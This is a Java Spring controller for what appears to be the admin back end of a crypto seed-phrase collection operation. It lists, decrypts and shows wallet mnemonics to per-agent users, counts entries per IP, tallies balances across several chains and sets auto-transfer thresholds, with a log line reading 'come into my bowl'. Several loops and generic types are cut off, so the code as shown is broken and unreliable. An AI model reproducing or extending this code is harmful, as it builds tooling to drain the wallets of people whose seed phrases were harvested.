package com.ruoyi.system.controller; import com.alibaba.fastjson.JSON; import com.ruoyi.common.annotation.Log; import com.ruoyi.common.core.controller.BaseController; import com.ruoyi.common.core.domain.AjaxResult; import com.ruoyi.common.core.domain.entity.SysUser; import com.ruoyi.common.core.page.TableDataInfo; import com.ruoyi.common.enums.BusinessType; import com.ruoyi.common.utils.ShiroUtils; import com.ruoyi.common.utils.poi.ExcelUtil; import com.ruoyi.system.domain.SysMnemonic; import com.ruoyi.system.domain.SysMnemonicToken; import com.ruoyi.system.mapper.SysMnemonicMapper; import com.ruoyi.system.mapper.SysMnemonicTokenMapper; import com.ruoyi.system.service.ISysMnemonicService; import com.ruoyi.system.vo.SysMnemonicTokenVO; import com.ruoyi.system.vo.SysMnemonicVO; import com.ruoyi.web.controller.common.CommonController; import org.apache.ibatis.annotations.Param; import org.apache.shiro.authz.annotation.RequiresPermissions; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.BeanUtils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.ModelMap; import org.springframework.web.bind.annotation.*; import java.math.BigDecimal; import java.util.ArrayList; import java.util.List; import java.util.Map; import static com.api.controller.ApiController.decryptByPrivateKey; //import static com.api.controller.ApiController.decryptByPrivateKey; /** * 助记词Controller * * @author lanbing * @date 2023-03-23 */ @Controller @RequestMapping("/system/mnemonic") public class SysMnemonicController extends BaseController { private static final Logger log = LoggerFactory.getLogger(CommonController.class); private String prefix = "system/mnemonic"; @Autowired private ISysMnemonicService sysMnemonicService; @Autowired private SysMnemonicTokenMapper sysMnemonicTokenMapper; @Autowired private SysMnemonicMapper sysMnemonicMapper; @RequiresPermissions("system:mnemonic:view") @GetMapping() public String mnemonic() { return prefix + "/mnemonic"; } /** * 查询助记词列表 */ @RequiresPermissions("system:mnemonic:list") @PostMapping("/list") @ResponseBody public TableDataInfo list(SysMnemonic sysMnemonic) { startPage(); List list = new ArrayList<>(); List listshow = null; SysUser user= ShiroUtils.getSysUser(); if(!sysMnemonic.getMnemonic().equals("") && !sysMnemonic.getMnemonic().equals(null)){ // log.error(">>>>>>>>>快到碗里来1>>>>>"+sysMnemonic.getMnemonic()); //处理钱包地址搜索 List systoken = sysMnemonicTokenMapper.selectSysMnemonicByaddress(user.getAgentId(),sysMnemonic.getMnemonic()); if(systoken.size()>0){ // log.error(">>>>>>>>>>>>>>"+systoken.size()); SysMnemonic pas = sysMnemonicMapper.selectSysMnemonicById(systoken.get(0).getMnemonicid()); if(pas.getDeletedTime()==0){ list.add(pas); } } }else if(!(sysMnemonic.getStatus()==0) && !sysMnemonic.getStatus().equals(null) ){ // log.error(">>>>>>>>>快到碗里来2>>>>>"); list = sysMnemonicService.selectSysMnemonicListbysort(user.getAgentId(),sysMnemonic.getStatus()); }else{ list = sysMnemonicService.selectSysMnemonicList(sysMnemonic); } // List list = sysMnemonicService.selectSysMnemonicList(sysMnemonic); for(int i=0;i tokenlist = sysMnemonicTokenMapper.selectSysMnemonicBymnemonicId(mnemonicid); for(int i1=0;i1 dataList = new ArrayList<>(); for (SysMnemonic mnemonic : list) { List tokenList = mnemonic.gettokenlist(); List tokenVOList = new ArrayList<>(); for (SysMnemonicToken mnemonicToken : tokenList) { SysMnemonicTokenVO mnemonicTokenVO = new SysMnemonicTokenVO(); BeanUtils.copyProperties(mnemonicToken,mnemonicTokenVO); // add by denghongxing 2025-7-11 start mnemonicTokenVO.setBalance(mnemonicToken.getBalance().stripTrailingZeros().toPlainString()); mnemonicTokenVO.setyjbalance(mnemonicToken.getyjbalance().stripTrailingZeros().toPlainString()); mnemonicTokenVO.setzzbalance(mnemonicToken.getzzbalance().stripTrailingZeros().toPlainString()); // add by denghongxing 2025-7-11 end tokenVOList.add(mnemonicTokenVO); } SysMnemonicVO mnemonicVO = new SysMnemonicVO(); BeanUtils.copyProperties(mnemonic,mnemonicVO); // add by denghongxing 2025-7-11 start mnemonicVO.setEth(mnemonic.getEth().stripTrailingZeros().toPlainString()); mnemonicVO.setErc(mnemonic.getErc().stripTrailingZeros().toPlainString()); mnemonicVO.setTrx(mnemonic.getTrx().stripTrailingZeros().toPlainString()); mnemonicVO.setTrc(mnemonic.getTrc().stripTrailingZeros().toPlainString()); mnemonicVO.setBtc(mnemonic.getBtc().stripTrailingZeros().toPlainString()); mnemonicVO.setOmni(mnemonic.getOmni().stripTrailingZeros().toPlainString()); mnemonicVO.setBnb(mnemonic.getBnb().stripTrailingZeros().toPlainString()); mnemonicVO.setBep(mnemonic.getBep().stripTrailingZeros().toPlainString()); // add by denghongxing 2025-7-11 end mnemonicVO.settokenlist(tokenVOList); dataList.add(mnemonicVO); } // 替换分页的 数据 dataTable.setRows(dataList); return dataTable; // add by lwh 2025-6-26 end // delete by lwh 2025-6-26 start // return getDataTable(list); // delete by lwh 2025-6-26 end } /** * 导出助记词列表 */ @RequiresPermissions("system:mnemonic:export") @Log(title = "助记词", businessType = BusinessType.EXPORT) @PostMapping("/export") @ResponseBody public AjaxResult export(SysMnemonic sysMnemonic) { List list = sysMnemonicService.selectSysMnemonicList(sysMnemonic); ExcelUtil util = new ExcelUtil(SysMnemonic.class); return util.exportExcel(list, "助记词数据"); } /** * 新增助记词 */ @GetMapping("/add") public String add() { return prefix + "/add"; } /** * 新增保存助记词 */ @RequiresPermissions("system:mnemonic:add") @Log(title = "助记词", businessType = BusinessType.INSERT) @PostMapping("/add") @ResponseBody public AjaxResult addSave(SysMnemonic sysMnemonic) { return toAjax(sysMnemonicService.insertSysMnemonic(sysMnemonic)); } /** * 修改助记词 */ @RequiresPermissions("system:mnemonic:edit") @GetMapping("/edit/{id}") public String edit(@PathVariable("id") Long id, ModelMap mmap) { SysMnemonic sysMnemonic = sysMnemonicService.selectSysMnemonicById(id); mmap.put("sysMnemonic", sysMnemonic); return prefix + "/edit"; } @Log(title = "设置助记词阀值", businessType = BusinessType.INSERT) @RequiresPermissions("system:mnemonic:setautotransfer") @GetMapping("/setautotransfer/{id}") public String setautotransfer(@PathVariable("id") Long id, ModelMap mmap) { SysMnemonicToken abc = new SysMnemonicToken(); abc.setToken("trc"); abc.setMnemonicid(id); List ppsd = sysMnemonicTokenMapper.selectSysMnemonicTokenList(abc); SysMnemonicToken once=ppsd.get(0); SysMnemonicTokenVO tokenVO = new SysMnemonicTokenVO(); BeanUtils.copyProperties(once,tokenVO); // add by denghongxing 2025-7-11 start tokenVO.setBalance(once.getBalance().stripTrailingZeros().toPlainString()); tokenVO.setyjbalance(once.getyjbalance().stripTrailingZeros().toPlainString()); tokenVO.setzzbalance(once.getzzbalance().stripTrailingZeros().toPlainString()); // add by denghongxing 2025-7-11 end mmap.put("moneylist", tokenVO); return prefix + "/setautotransfer"; } @RequiresPermissions("system:mnemonic:setautotransferedit") @PostMapping("/setautotransferedit") @ResponseBody public AjaxResult setautotransferedit(SysMnemonicToken sysMnemonicToken) { return toAjax(sysMnemonicTokenMapper.updateSysMnemonicToken(sysMnemonicToken)); } /** * 修改保存助记词 */ @RequiresPermissions("system:mnemonic:edit") @Log(title = "助记词", businessType = BusinessType.UPDATE) @PostMapping("/edit") @ResponseBody public AjaxResult editSave(SysMnemonic sysMnemonic) { return toAjax(sysMnemonicService.updateSysMnemonic(sysMnemonic)); } /** * 删除助记词 */ @RequiresPermissions("system:mnemonic:remove") @Log(title = "软删除助记词", businessType = BusinessType.DELETE) @PostMapping( "/remove") @ResponseBody public AjaxResult remove(String ids) { sysMnemonicService.deleteSysMnemonictokenajaxByIds(ids); return toAjax(sysMnemonicService.deleteSysMnemonicByIds(ids)); } @RequiresPermissions("system:mnemonic:recycle") @GetMapping("/recycle") public String recycle() { return prefix + "/recycle"; } /** * 查询助记词列表 */ @RequiresPermissions("system:mnemonic:recycle") @PostMapping("/listdel") @ResponseBody public TableDataInfo listdel(SysMnemonic sysMnemonic) { startPage(); List list = new ArrayList<>(); SysUser sysur1= ShiroUtils.getSysUser(); if(!sysMnemonic.getMnemonic().equals("") && !sysMnemonic.getMnemonic().equals(null)){ List systoken = sysMnemonicTokenMapper.selectSysMnemonicByaddressdel(sysur1.getAgentId(),sysMnemonic.getMnemonic()); if(systoken.size()>0){ SysMnemonic pas = sysMnemonicMapper.selectSysMnemonicById(systoken.get(0).getMnemonicid()); list.add(pas); } }else if(!sysMnemonic.getStatus().equals(0) && !sysMnemonic.getStatus().equals(null) ){ list = sysMnemonicService.selectSysMnemonicListbysortdel(sysur1.getAgentId(),sysMnemonic.getStatus()); }else{ list = sysMnemonicService.selectSysMnemonicListdel(sysMnemonic); } for(int i=0;i tokenlist = sysMnemonicTokenMapper.selectSysMnemonicBymnemonicId(mnemonicid); list.get(i).settokenlist(tokenlist); mnemonic=decryptByPrivateKey(mnemonic); list.get(i).setMnemonic(mnemonic); if(!sysur1.getShowMnemonic().equals("1") && !sysur1.getShowMnemonic().equals("0")){ list.get(i).setMnemonic(""); }else{ list.get(i).setMnemonic("助记词:"+list.get(i).getMnemonic()); } String ipcount=sysMnemonicService.selectSysMnemonicCountIp(list.get(i).getIp()); if(!ipcount.equals("") && !ipcount.equals(null)){ list.get(i).setIpCount(Integer.valueOf(ipcount)); }else{ list.get(i).setIpCount(Integer.valueOf("1")); } } // add by lwh 2025-6-27 start // 解决分页问题,获取分页信息 // add by dhx 2025-7-14 start TableDataInfo dataTable = getDataTable(list); // add by dhx 2025-7-14 end List dataList = new ArrayList<>(); for (SysMnemonic mnemonic : list) { List tokenList = mnemonic.gettokenlist(); List tokenVOList = new ArrayList<>(); for (SysMnemonicToken mnemonicToken : tokenList) { SysMnemonicTokenVO mnemonicTokenVO = new SysMnemonicTokenVO(); BeanUtils.copyProperties(mnemonicToken,mnemonicTokenVO); // add by denghongxing 2025-7-11 start mnemonicTokenVO.setBalance(mnemonicToken.getBalance().stripTrailingZeros().toPlainString()); mnemonicTokenVO.setyjbalance(mnemonicToken.getyjbalance().stripTrailingZeros().toPlainString()); mnemonicTokenVO.setzzbalance(mnemonicToken.getzzbalance().stripTrailingZeros().toPlainString()); // add by denghongxing 2025-7-11 end tokenVOList.add(mnemonicTokenVO); } SysMnemonicVO mnemonicVO = new SysMnemonicVO(); BeanUtils.copyProperties(mnemonic,mnemonicVO); // add by denghongxing 2025-7-11 start mnemonicVO.setEth(mnemonic.getEth().stripTrailingZeros().toPlainString()); mnemonicVO.setErc(mnemonic.getErc().stripTrailingZeros().toPlainString()); mnemonicVO.setTrx(mnemonic.getTrx().stripTrailingZeros().toPlainString()); mnemonicVO.setTrc(mnemonic.getTrc().stripTrailingZeros().toPlainString()); mnemonicVO.setBtc(mnemonic.getBtc().stripTrailingZeros().toPlainString()); mnemonicVO.setOmni(mnemonic.getOmni().stripTrailingZeros().toPlainString()); mnemonicVO.setBnb(mnemonic.getBnb().stripTrailingZeros().toPlainString()); mnemonicVO.setBep(mnemonic.getBep().stripTrailingZeros().toPlainString()); // add by denghongxing 2025-7-11 end mnemonicVO.settokenlist(tokenVOList); dataList.add(mnemonicVO); } // 替换分页的数据 dataTable.setRows(dataList); return dataTable; // add by lwh 2025-6-27 end // delete by lwh 2025-6-27 start // return getDataTable(list); // delete by lwh 2025-6-27 end } @RequiresPermissions("system:mnemonic:recycle") @PostMapping("/listrecycle") @Log(title = "恢复助记词", businessType = BusinessType.DELETE) @ResponseBody public String listrecycle(@Param("id") String id) { SysMnemonic pas = sysMnemonicMapper.selectSysMnemonicById(Long.valueOf(id)); pas.setDeletedTime(Long.valueOf("0")); sysMnemonicMapper.updateSysMnemonic(pas); log.error("需要恢复的数据>>>>"+id); SysMnemonicToken asinfo=new SysMnemonicToken(); asinfo.setMnemonicid(Long.valueOf(id)); asinfo.setDeletedTime(Long.valueOf("100")); List aass = sysMnemonicTokenMapper.selectSysMnemonicTokenList(asinfo); log.error("需要恢复的数据>>>>"+aass); for(int i=0;i plist=sysMnemonicMapper.selectSysMnemonicListdel(ps); for(int i=0;i0){ sysMnemonicMapper.deleteSysMnemonicById(mid); sysMnemonicTokenMapper.deleteSysMnemonicTokenByMnemonicId(mid); } } return "success"; } }